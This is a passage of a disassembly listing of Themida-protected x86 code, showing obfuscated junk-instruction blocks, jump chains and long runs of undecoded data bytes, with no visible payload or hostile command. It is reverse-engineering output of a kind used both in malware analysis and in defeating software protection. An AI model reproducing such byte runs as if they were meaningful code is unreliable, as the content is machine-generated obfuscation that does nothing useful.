; ---------------------------------------------------------------------------


loc_55EAF1:				; CODE XREF: Themida_:00561D87j
		mov	edx, [esp]
		add	esp, 4
		sub	edx, 3371CB7Ah
		push	edx
		jmp	loc_5627D9
; ---------------------------------------------------------------------------
		db 5Bh
		dd 815AD689h, 751E0C6h,	84CE8119h, 812A1227h, 5B36DAC6h
		dd 0E9575250h, 0FFFF9AD0h, 4BBCC281h, 0FA292DF3h, 4BBCEA81h
		dd 525F2DF3h, 42474FFh,	8124148Bh, 4C4h, 24048F00h, 2404895Ch
		dd 0E924048Bh, 0FFFF3EB5h
; ---------------------------------------------------------------------------


loc_55EB4C:				; CODE XREF: Themida_:00552573j
		push	esi
		push	722Fh
		jmp	loc_554079
; ---------------------------------------------------------------------------
		db 31h
		dd 24048BC2h, 3104C483h, 0B8505AD7h, 136970C4h,	6F142A05h
		dd 0A191E9C1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EB72:				; CODE XREF: Themida_:00551D97j
		mov	ebp, eax
		pop	eax
		pop	edx
		jmp	loc_55DF9C
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481241Ch, 4, 4EC81h, 14890000h, 4A7BE924h,	2C33FFFFh
		dd 496EE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_556558
; ---------------------------------------------------------------------------


loc_55EBB2:				; CODE XREF: Themida_:00556F76j
		add	ebx, 2EDA2116h
		pop	ecx
		sub	ebx, 2
		jmp	loc_54FF57
; ---------------------------------------------------------------------------
		dd 241CF766h, 11F4E99Ch, 0E2C10000h, 83B95107h,	12C0317h
		dd 0B85059CAh, 305F0FB4h, 0A30B8635h, 2ECEE96Bh, 4040FFFFh
		dd 72227B05h, 0FC5E914h, 5152FFFFh, 602B6CB9h, 0D769BA0Bh
		dd 0CA31B49Fh, 50952D59h, 0D001196Bh, 6B509505h, 0C1815A19h
		dd 5E695E02h, 0E3E9C101h, 8300003Ch, 0F80004C4h, 0DB95E95Bh
		dd 2C89FFFFh, 0C4E95424h, 87FFFF08h, 248B242Ch,	0F0EBE924h
		dd 0BB53FFFFh, 0F41BDEE6h, 515BDE31h, 0E0294DB9h, 5E9C14Ch
		dd 0FF3D8AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55EC55:				; CODE XREF: Themida_:00559D17j
		add	esi, ebx
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_54F087
; ---------------------------------------------------------------------------
		dd 68240C89h, 165Fh, 83242489h,	59042404h, 4BB53h, 0E9810000h
		dd 6131FF1h, 0C181D901h, 6131FF1h, 4E9815Bh, 87000000h
		dd 895C240Ch, 0E6892434h, 1105E9h, 9AEB8100h, 0E90EC176h
		dd 0FFFFC704h, 0E9243489h, 0FFFF1A20h, 0E906E1C1h, 0FFFFEECAh
		dd 875FFD29h, 895C242Ch, 0F1E9241Ch
		db 47h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55ECCB:				; CODE XREF: Themida_:00551A23j
		add	ecx, 71A5798Dh
		sub	ecx, 0D7734968h
		jmp	loc_5619E1
; ---------------------------------------------------------------------------
		dd 0C681E689h, 4, 24A1E9h, 0CE98100h, 1001104h,	5FD9E9CBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55ECF6:				; CODE XREF: Themida_:00554222j
		add	edx, 4CB06932h
		add	eax, edx
		mov	edx, [esp]
		jmp	loc_55E9E7
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0BE243489h, 4, 2816BA52h,	0EA811D77h, 138F454Ah
		dd 0FF4B30E9h, 4EC81FFh, 89000000h, 0ECE92414h,	59FFFF6Ah
		dd 8904EC83h, 0DEE92434h, 59FFFF34h, 81E28952h,	4C2h, 4C28300h
		dd 5C241487h, 4BF57h, 0C6810000h, 2D8A1780h, 2AFDEE81h
		dd 8DE92742h, 51FFFFB9h, 0E2060EB9h, 694BBA02h,	0C281FE25h
		dd 2DA55E49h, 0EA81CA01h, 2DA55E49h, 83240C8Bh,	0C2E904C4h
		dd 5AFFFF6Bh, 0BC5EB105h, 2DF80106h, 6BC5EB1h, 0E92434FFh
		dd 0FFFF85F7h, 0DBAE94Bh, 0C581FFFFh, 2E0F3646h, 0B27C581h
		dd 34FF116Dh, 0C4815924h, 4, 31242C33h,	2C33242Ch, 0E1D2E924h
		dd 1C87FFFFh, 3EE95C24h
		db 53h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EDD3:				; CODE XREF: Themida_:005506C1j
		pop	esp
		mov	[esp], ebp
		push	ebx
		jmp	loc_54DE75
; ---------------------------------------------------------------------------
		db 5Ch,	89h, 34h
		dd 0FAB1E924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_55EDE6:				; CODE XREF: Themida_:0055DC74j
		neg	ebp
		jmp	loc_5504EA
; ---------------------------------------------------------------------------


loc_55EDED:				; CODE XREF: Themida_:005532DCj
		or	ecx, 32CF1239h
		jmp	loc_55F108
; ---------------------------------------------------------------------------
		dd 81E38953h, 4C3h, 4EB8100h, 0E9000000h, 0FFFF935Eh, 5FFB015Dh
		dd 8904EC83h, 0D0E9241Ch
		db 0Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EE1B:				; CODE XREF: Themida_:00561B99j
		push	edx
		jmp	loc_54F77B
; ---------------------------------------------------------------------------


loc_55EE21:				; CODE XREF: Themida_:00561601j
		mov	esp, [esp]
		push	eax
		sub	esp, 4
		sub	esp, 4
		push	esp
		jmp	loc_55667C
; ---------------------------------------------------------------------------


loc_55EE34:				; CODE XREF: Themida_:0055D96Ej
		push	edi
		mov	edi, 61BE5372h
		shr	edi, 4
		add	edi, 81E6BD82h
		add	edx, 495B37E3h
		add	edx, edi
		sub	edx, 495B37E3h
		mov	edi, [esp]
		add	esp, 4
		push	esi
		push	edx
		jmp	loc_55037C
; ---------------------------------------------------------------------------
		db 59h,	0E9h, 11h
		db 0C8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EE67:				; CODE XREF: Themida_:00553CDEj
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	esp, 4
		jmp	loc_5518D4
; ---------------------------------------------------------------------------
		dd 42474FFh, 81243C8Bh,	4C4h, 0A611E900h, 2C8BFFFFh, 0A2C9E924h
		dd 8950FFFFh, 9FE956E0h
		db 10h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55EE9F:				; CODE XREF: Themida_:0055002Bj
		mov	esi, 4
		jmp	loc_55181D
; ---------------------------------------------------------------------------
		db 0B8h, 0B6h, 3Ch
		dd 1FE9152Eh, 50FFFF8Ch, 405E089h, 83000000h, 0E1E904C0h
		dd 29FFFF31h, 240C8BCAh, 81E78957h, 4C7h, 0AA04E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EED6:				; CODE XREF: Themida_:0055964Cj
		sub	ebx, edi
		sub	ebx, 1EDD09C9h
		pop	edi
		push	ebx
		jmp	loc_560CE9
; ---------------------------------------------------------------------------


loc_55EEE5:				; CODE XREF: Themida_:0055ABBAj
		sub	ecx, esi
		pop	esi
		sub	edi, ecx
		jmp	loc_5515B1
; ---------------------------------------------------------------------------
		db 5
		dd 4, 42Dh, 24048700h, 0FF1E76E9h, 4B8FFh, 0C2890000h
		dd 0FF54CFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55EF0D:				; CODE XREF: Themida_:0055B604j
		push	ecx
		add	dword ptr [esp], 2F9042EEh
		pop	edx
		push	ecx
		jmp	loc_55E658
; ---------------------------------------------------------------------------
		dd 0DCEE815Ah, 29497279h, 0DCC681CEh, 59497279h, 44F1E981h
		dd 0AFE974B4h, 80FFFF22h, 95E92DF7h, 81000024h,	1D7673C5h
		dd 37ED814Fh, 8B5B902Fh, 0C4832404h, 19EFE904h,	0B8500000h
		dd 2EE24416h, 2414F750h, 8CBA5258h, 0E94E5743h,	0FFFF7206h
; ---------------------------------------------------------------------------


loc_55EF6C:				; CODE XREF: Themida_:00555D0Aj
		mov	ebx, 721E3F78h
		shr	ebx, 6
		push	esi
		mov	esi, 574968DBh
		dec	esi
		add	esi, 0DDD3D462h
		sub	ebx, esi
		pop	esi
		neg	ebx
		or	ebx, 7D333F36h
		inc	ebx
		push	ebp
		mov	ebp, 47DAA1A4h
		xor	ebx, ebp
		mov	ebp, [esp]
		jmp	loc_5550C2
; ---------------------------------------------------------------------------
		db 0BAh, 4, 0
		dd 0E9810000h, 706D2E94h, 0FF501EE9h, 243C89FFh, 0FC3D6BBFh
		dd 5FFB8950h, 3C299BFh,	0E9DF01AFh, 0FFFF651Fh,	8124048Fh
		dd 42404h, 1EE90000h
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EFD3:				; CODE XREF: Themida_:00554BB7j
		add	edx, 4
		jmp	loc_55F990
; ---------------------------------------------------------------------------
		db 1
		dd 240C8BCDh, 4C481h, 0E9520000h, 0FFFF68E2h, 243C8B54h
		dd 4C481h, 0ADE90000h, 5CFFFF1Fh, 4C581h, 0C5810000h, 4
		dd 4FAE68h, 242C8900h, 42474FFh, 0E92434FFh, 0FFFFBF41h
		dd 240C8B66h, 57E08950h, 0FFB6FAE9h, 0EC8158FFh, 4, 54243489h
		dd 8B2434FFh, 0C4812434h, 4, 6D2768h, 240C8900h, 0C181E189h
		dd 4, 4C181h, 0C870000h, 34685C24h, 0E900002Bh,	0FFFF58EEh
		dd 48BFBD55h, 50534508h, 0DE5DE4B8h, 420BB1Ah, 0C30142BAh
		dd 3C38158h, 4B025C2Fh,	500EB951h, 0CB01D6E2h, 8BDD2959h
		dd 0C483241Ch, 51685704h, 5F053453h, 3C8BFA29h,	4C48124h
		dd 0E9000000h, 371Ch, 0E3C38166h, 0B866505Eh, 52666334h
		dd 0BA66h, 66C22966h, 665A6692h, 2DB96651h, 0C831665Bh
		dd 3DE95966h, 0E9FFFFECh, 0FFFEECF1h, 4EAC142h,	8104E2C1h
		dd 4A044F2h, 5AD501A4h,	8704ED83h, 895C242Ch, 0B9512414h
		dd 4, 159CA89h,	4055AD0h, 87000000h, 0E95C2404h, 0FFFEECBDh
; ---------------------------------------------------------------------------


loc_55F108:				; CODE XREF: Themida_:0055EDF3j
		xor	ecx, 0B5FF92F7h
		sub	ebx, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], ebx
		sub	dword ptr [esp], 3348027Fh
		pop	edx
		add	edx, 3348027Fh
		pop	ebx
		sub	esp, 4
		mov	[esp], edx
		push	eax
		mov	eax, 37056D56h
		xor	[esp+4], eax
		jmp	loc_55C202
; ---------------------------------------------------------------------------


loc_55F13E:				; CODE XREF: Themida_:0055779Cj
		mov	edx, esi
		pop	esi
		shl	edx, 5
		add	edx, 0A715320h
		mov	ebp, edx
		pop	edx
		mov	eax, ebp
		pop	ebp
		add	eax, 0C63EEDE4h
		add	edi, eax
		pop	eax
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 80h
		and	ecx, eax
		jmp	loc_55AAE7
; ---------------------------------------------------------------------------
		dd 10E18149h, 81427004h, 0DC11BBF1h, 8190E923h,	0E95CFFFFh
		dd 0FFFF88B0h
; ---------------------------------------------------------------------------


loc_55F190:				; CODE XREF: Themida_:0055CC21j
		add	edi, 2E4E126Eh
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_562644
; ---------------------------------------------------------------------------
		db 53h,	0B7h, 0F3h
		dd 0EF80D7F6h, 3EFC001h, 0C0E9D7F6h, 81FFFFE2h,	0C1760EF6h
		dd 243C8B71h, 4C481h, 982D0000h, 2932AB6Bh, 0F2BD55F0h
		dd 0E96F9767h, 0FFFFB436h, 6EFC15Fh, 78CE9h
		db 0
; ---------------------------------------------------------------------------


loc_55F1DD:				; CODE XREF: Themida_:00553F98j
		xor	ebx, 1A13D28h
		sub	ebx, 0E39E7B9Bh
		add	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		xor	eax, ebp
		pop	ebp
		xor	eax, 0EA49C4B8h
		xor	ecx, eax
		pop	eax
		push	3737h
		mov	[esp], esi
		push	2348h
		jmp	loc_550F93
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 4, 4C581h, 2C870000h, 0C7815C24h, 2,	11A0E9h, 0BFBBBF00h
		dd 0D5E9FE44h, 0BFFFFF5Eh, 78A72185h, 0DFF7EFD1h, 43FDE781h
		dd 0CF813E3Fh, 3B8117A9h, 5C45CF81h, 0C78166C5h, 879B0D33h
		dd 815FF901h, 0E90BCFE9h, 2434FF47h, 0D061E95Dh, 5AE9FFFFh
		dd 0C1FFFEEBh, 0EB8103EBh, 0B38F40C3h, 0FF5869E9h, 0EC7735FFh
		dd 0E3E93D73h, 81FFFF58h, 4C4h,	487EE900h, 74FFFFFFh, 0AFE90424h
		dd 0B8FFFF88h, 3B3D3975h, 1325FA05h, 0F8B1E941h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F2A6:				; CODE XREF: Themida_:00559CC6j
		pop	edx


loc_55F2A7:				; CODE XREF: Themida_:0055040Fj
		push	7579h
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		push	ebp
		push	esp
		mov	ebp, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	ecx
		mov	ecx, 4
		add	esi, ecx
		pop	ecx
		xchg	esi, [esp]
		pop	esp
		push	edx
		jmp	loc_5571E3
; ---------------------------------------------------------------------------


loc_55F2D4:				; CODE XREF: Themida_:0054F522j
		add	eax, ecx
		add	eax, 3FC76240h
		jmp	loc_560A56
; ---------------------------------------------------------------------------
		dd 772B68h, 24148900h, 0F30020BAh, 0D3E9E931h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F2F2:				; CODE XREF: Themida_:00561835j
		sub	ebp, 763F5Bh
		xor	ebp, 4141F813h
		sub	ebx, ebp
		jmp	loc_559907
; ---------------------------------------------------------------------------
		db 2Ch,	6Fh, 2Ch
		dd 28F02C6Ch, 0B15166E8h, 66C800F0h, 0D126E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F31A:				; CODE XREF: Themida_:0054E292j
		mov	edi, 23A25114h
		xor	edi, 23A25110h
		add	ebp, 6D112138h
		jmp	loc_55CC0B
; ---------------------------------------------------------------------------
		dd 0E924248Bh, 0FFFF634Fh, 7F886851h, 86E93272h
		db 21h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F343:				; CODE XREF: Themida_:005531B6j
		sub	eax, ebx
		pop	ebx
		sub	eax, ecx
		jmp	loc_557782
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 0C2815A54h, 4, 8704C283h, 0FF5C2414h, 815A2434h, 4C4h
		dd 8BE83000h, 5668240Ch, 8900006Bh, 0B6E92404h,	89FFFF77h
		dd 0E589242Ch, 12BA5250h, 0C153C11Ch, 0D2F702EAh, 4D47E281h
		dd 0F2811EEBh, 0A0B0847h, 0E95AD089h, 0FFFFACFCh, 0E904EC83h
		dd 0FFFF0E44h, 67E68146h, 514F4926h, 0D41D3AB9h, 0E9CE3114h
		dd 1A15h, 0C8BCB89h, 4C48124h, 81000000h, 120299EBh, 39C38101h
		dd 0E9037351h, 0FFFF632Fh, 405h, 4EC8300h, 0FF2E80E9h
		dd 5AD121FFh, 7CEAF181h, 55E95C4Ah
		db 0F5h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_55F3F3:				; CODE XREF: Themida_:00560456j
		mov	edx, ebp
		pop	ebp
		jmp	loc_550D46
; ---------------------------------------------------------------------------
		db 68h
		dd 3162h, 0E65E9h, 0C1DFF700h, 0C78102E7h, 31498068h, 0C15FFE01h
		dd 0EBE903E6h, 66FFFF87h, 0BF665752h, 816627B5h, 661F92CFh
		dd 3EE9DFF7h, 68FFFF53h, 4A9Ah,	0BA241489h, 0E35712A6h
		dd 815AD331h, 0C3C26C2h, 81DA293Ah, 0C3C26EAh, 0F2815B3Ah
		dd 0D358993Eh, 4BEFBB53h, 0DE291795h, 5B2434FFh, 4C481h
		dd 0D6010000h, 7512BA52h, 0F281290Ch, 7B7F3CDAh, 240CFF52h
		dd 0D8EA815Ah, 13ADDFDh, 2064E9D6h, 0ED81FFFFh,	4F1D7673h
		dd 0ACE9C501h, 81FFFFFAh, 67E644C2h, 63F281BEh,	8143441Dh
		dd 0A1378CEAh, 0D1C68145h, 1000C32h, 0D1EE81D6h, 8B000C32h
		dd 0C4832414h, 0BB535004h, 4, 295BD889h, 348758C6h, 5B10E924h
		dd 0E95BFFFFh, 0FFFF9032h, 8904EC83h, 5FB82404h, 2936962Fh
		dd 0F58158C5h, 7DC24470h, 7D40C581h, 0E956480Bh, 0FFFF3D64h
		dd 8B240433h, 0F9F72424h, 8904EC83h, 8AE92434h
		db 0BFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F507:				; CODE XREF: Themida_:005536F5j
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		push	ebp
		push	eax
		mov	eax, 2
		mov	ebp, eax
		pop	eax
		sub	ebx, ebp
		pop	ebp
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_5628BA
; ---------------------------------------------------------------------------
		dd 0FF24248Bh, 0C8B2434h, 0F7E95624h, 0BEFFFF4Eh, 25537047h
		dd 8AE94E46h, 81FFFF0Ah, 5E624DEBh, 4E3C176h, 0A1ECEB81h
		dd 0DE298416h, 2434875Bh, 241C895Ch, 0B850E389h, 40C27541h
		dd 0C60DD0F7h, 0D5A7353h, 9F601A1h, 0DBFA3548h,	0C301FFFFh
		dd 8124048Bh, 4C4h, 0F46FE900h,	0F181FFFFh, 421800Ch, 7CE9CF89h
		dd 1FFFFF3h, 0DC805C8h,	5559096Fh, 0C1C6852h, 38E96532h
		dd 81FFFF7Bh, 4EFh, 74FF5700h, 8F5F0424h, 248B2404h, 243C8924h
		dd 0A4E9E789h, 0BB000030h, 73D71D2h, 4199CB81h,	0E9431511h
		dd 0FFFFCA4Eh, 0E95AD001h, 0FFFF95E6h, 905D9A2Dh, 2434FF52h
		dd 4C4815Bh, 0E9000000h, 0FFFFC737h, 1F86E94Fh,	61BD0000h
		dd 2965C854h, 0E4DFE9EEh, 3C8BFFFFh, 0D2E6E924h, 0B6E9FFFFh
		dd 0D0FFFEE7h, 58C180E9h, 0FF7359E9h, 405FFh, 4330000h
		dd 24043124h, 0FF99F2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F629:				; CODE XREF: Themida_:00561AD7j
		add	ebx, 0EB0F8916h
		add	ebp, ebx
		pop	ebx
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		push	ecx
		mov	ch, 0A1h
		mov	bh, 65h
		xor	bh, ch
		jmp	loc_552B27
; ---------------------------------------------------------------------------
		db 81h
		dd 0DA5C9EEAh, 0E53E91Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F656:				; CODE XREF: Themida_:005621A9j
		mov	ebx, 3D234537h
		add	ebx, 39F1F251h
		add	ebp, 41C442FDh
		jmp	loc_55C057
; ---------------------------------------------------------------------------
		dd 0DC8FC781h, 0EA81FEC4h, 352F75A1h, 0C281FA01h, 352F75A1h
		dd 0E482E95Fh, 575CFFFFh, 0FF8A93E9h, 1F6858FFh, 89000029h
		dd 0E6E92414h, 68FFFFC0h, 7F7h,	0FF243489h, 8B042474h
		dd 0C4812434h, 4, 5C24048Fh, 9C240431h,	0FEE708E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F6BD:				; CODE XREF: Themida_:0054FD8Fj
		mov	esi, ebx
		pop	ebx
		sub	eax, esi
		mov	esi, [esp]
		add	esp, 4
		push	eax
		pop	ecx
		pop	eax
		sub	dword ptr [esp+4], 530727BBh
		sub	[esp+4], ecx
		add	dword ptr [esp+4], 530727BBh
		pop	ecx
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], edi
		push	esp
		pop	edi
		push	ebp
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		push	138Fh
		mov	[esp], esi
		mov	esi, 71439E8h
		jmp	loc_561D44
; ---------------------------------------------------------------------------
		dd 24048B66h, 0FEE722E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F721:				; CODE XREF: Themida_:0055B8F8j
		xor	al, 13h
		shr	al, 3
		jmp	loc_54E281
; ---------------------------------------------------------------------------
		db 29h
		dd 0F0E95EF0h, 81FFFF3Eh, 507AD8E9h, 0E833E961h, 0F587FFFFh
		dd 0FF8F87E9h, 34FF59FFh, 240C8B24h, 4C481h, 0C4810000h
		dd 4, 2CBE5651h, 0E91F5078h, 296Fh, 0B6DAE958h,	1487FFFFh
		dd 8F545C24h, 4812404h,	424h, 0F88BE900h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_55F77E:				; CODE XREF: Themida_:00555E2Bj
		mov	[esp], esi
		mov	esi, 4
		jmp	loc_555A68
; ---------------------------------------------------------------------------


loc_55F78B:				; CODE XREF: Themida_:00560A6Dj
		push	eax
		mov	eax, 4
		add	ebp, eax
		jmp	loc_559842
; ---------------------------------------------------------------------------
		dd 0F7B8E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F79E:				; CODE XREF: Themida_:00556C76j
		mov	esi, [esp]
		add	esp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]


loc_55F7B0:				; CODE XREF: Themida_:00551059j
					; Themida_:0055DE95j
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	esi
		sub	esp, 4
		jmp	loc_5553AA
; ---------------------------------------------------------------------------


loc_55F7C8:				; CODE XREF: Themida_:00557B01j
		sub	dword ptr [esp+4], 70BA4339h
		jmp	loc_54E5F3
; ---------------------------------------------------------------------------


loc_55F7D5:				; CODE XREF: Themida_:00561577j
		mov	bl, 0FAh
		mov	dl, bl
		pop	ebx
		mov	ah, dl
		pop	edx
		jmp	loc_55E3FF
; ---------------------------------------------------------------------------


loc_55F7E2:				; CODE XREF: Themida_:005624F2j
		and	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		or	eax, eax
		jz	loc_55DF29
		push	dword ptr [edi+1Ch]
		jmp	loc_5587A3
; ---------------------------------------------------------------------------
		db 31h
		dd 14332414h, 24248B24h, 0FEE5BCE9h, 4BAFFh, 0E9810000h
		dd 4E9E0477h, 30C4C181h, 0DE9267Fh, 83FFFF17h, 506604C4h
		dd 0E5286AB4h, 68665866h, 89665CD3h, 81E92404h,	81FFFEE9h
		dd 0E91A6FC3h, 0D4E3815Dh, 812A483Fh, 0C3547DCBh, 81E3D153h
		dd 120E6FF3h, 0E9D801E7h, 0FFFF7E11h, 4C781h, 0C7830000h
		dd 243C8704h, 2444815Ch, 0E2404004h, 4815D31h, 0BE39B124h
		dd 242C811Dh, 1936744Ch, 0E9240429h, 0FFFF7B21h
; ---------------------------------------------------------------------------


loc_55F884:				; CODE XREF: Themida_:00561BA1j
		push	esp
		push	dword ptr [esp]
		pop	esi
		jmp	loc_55619D
; ---------------------------------------------------------------------------
		dw 0ECC0h
		dd 1E9AE906h, 2AE90000h
		db 0E5h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_55F89B:				; CODE XREF: Themida_:0055D1BCj
		add	ecx, 0BBD313Ch
		pop	ebx
		push	ebx
		jmp	loc_55DBCC
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 1768240Ch, 0E900007Bh, 0FFFFF372h, 10C1C381h
		dd 34FF4D9Bh, 24048B24h, 4C481h, 0C4830000h, 1EC16804h
		dd 1E90000h
		db 3Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F8D7:				; CODE XREF: Themida_:0055646Ej
		mov	[esp], ebp
		mov	ebp, 4
		and	ecx, ebp
		jmp	loc_55936F
; ---------------------------------------------------------------------------
		dw 15Fh
		dd 8104246Ch, 9704246Ch, 0E9185762h, 0FFFF4C31h, 0C55C181h
		dd 0CB21DD3Dh, 0FF2A9CE9h, 391E68FFh, 3C890000h, 9D9E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F912:				; CODE XREF: Themida_:00560AF8j
		add	ecx, 44A83450h
		jmp	loc_561AB8
; ---------------------------------------------------------------------------
		db 0BAh, 1Dh, 1Bh
		dd 0E94A0FCBh, 0FFFEF5F7h
; ---------------------------------------------------------------------------


loc_55F928:				; CODE XREF: Themida_:0055D97Dj
		mov	ebp, 40BA1F91h
		dec	ebp
		sub	ebp, 730510FEh
		and	ebp, 14FD6F7Fh
		dec	ebp
		jmp	loc_556473
; ---------------------------------------------------------------------------
		dd 4055854h, 55000000h,	0FF7D30E9h, 0C8B66FFh, 5F545724h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_551C96
; ---------------------------------------------------------------------------
		db 68h,	0B0h, 7Eh
		dd 4890000h, 4EC8324h, 0FF346CE9h, 24248BFFh, 0FFC7C0E9h
		dd 87D7F7FFh, 9B6857FEh, 0E954961Bh, 0FFFF2F75h
; ---------------------------------------------------------------------------


loc_55F990:				; CODE XREF: Themida_:0055EFD6j
		xchg	edx, [esp]
		pop	esp
		jmp	loc_5615E4
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 68E68956h, 3A1Fh, 0B9240C89h, 28233F0Fh, 0F703E1C1h
		dd 6E9C1D9h, 1C181h, 0AEE90000h, 5AFFFF51h, 2C8BE901h
		dd 0B450E924h, 248BFFFFh, 0E3F3E924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_55F9D2:				; CODE XREF: Themida_:00553E13j
		pop	ebx
		pop	eax
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_55B7E8
; ---------------------------------------------------------------------------
		db 33h,	2Ch, 24h
		dd 0FF24248Bh, 50592434h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_560885
; ---------------------------------------------------------------------------
		db 5Ah,	56h, 55h
		dd 744A9E68h, 3872E92Dh, 0DA00FFFFh, 0E90DC280h, 1D09h
		dd 4B850h, 0C6890000h, 5EF50158h, 0FFF2FCE9h, 6161BEFFh
		dd 0CFE92394h
		db 3Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FA33:				; CODE XREF: Themida_:00558392j
		mov	[esp], edx
		mov	edx, esp
		push	5C5Ch
		mov	[esp], ebp
		jmp	loc_55E298
; ---------------------------------------------------------------------------
		db 81h,	0F5h, 1Ah
		dd 81543D74h, 980102EAh, 0E658E96Ah, 4481FFFFh,	4CDE0424h
		dd 0DFE912C6h
		db 45h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FA63:				; CODE XREF: Themida_:0054E5E4j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_5565BD
; ---------------------------------------------------------------------------
		db 59h,	1, 0C5h
		dd 0FF3A27E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55FA7D:				; CODE XREF: Themida_:00555667j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		shl	ecx, 4
		shl	ecx, 3
		jmp	loc_554AA7
; ---------------------------------------------------------------------------


loc_55FA95:				; CODE XREF: Themida_:0055761Aj
		sub	edi, 59AF4A7Fh
		or	edi, 2A170DFCh
		jmp	loc_55C3AC
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 148B6624h, 14685324h, 54000074h, 2766E9h
		db 0
; ---------------------------------------------------------------------------


loc_55FAB9:				; CODE XREF: Themida_:0055E1B7j
		add	ecx, 0E799E170h
		sub	eax, ecx
		pop	ecx
		push	ebp
		jmp	loc_5608E2
; ---------------------------------------------------------------------------
		dd 7422E781h, 0F7814DB9h, 0D57B0150h, 315FFB31h, 0B8505BDDh
		dd 31E24040h, 0FFAE49E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55FAE5:				; CODE XREF: Themida_:0055FE30j
		mov	edx, 0AF764F5h
		add	ecx, edx
		jmp	loc_55120A
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 0B761968h, 0EA815A68h, 66A0609Eh, 0BD55D2F7h, 68F87C51h
		dd 0FF0BB9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55FB0D:				; CODE XREF: Themida_:0055CE8Bj
		sub	esp, 4
		jmp	loc_55D95B
; ---------------------------------------------------------------------------
		dd 1A4B2D95h, 572D03ADh, 0E9655A6Ch, 0FFFFB76Bh
; ---------------------------------------------------------------------------


loc_55FB28:				; CODE XREF: Themida_:0055B617j
		push	ecx
		jmp	loc_56242A
; ---------------------------------------------------------------------------


loc_55FB2E:				; CODE XREF: Themida_:0054ECE5j
		push	0D98h
		jmp	loc_55ADAE
; ---------------------------------------------------------------------------
		dd 8B24048Fh, 0F7662424h, 476B68F1h, 2EE90000h,	0FF000005h
		dd 348B2434h, 4C48324h,	0A6A1E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FB5A:				; CODE XREF: Themida_:00551A14j
		push	0ABCh
		jmp	loc_55B5A9
; ---------------------------------------------------------------------------


loc_55FB64:				; CODE XREF: Themida_:00553AFBj
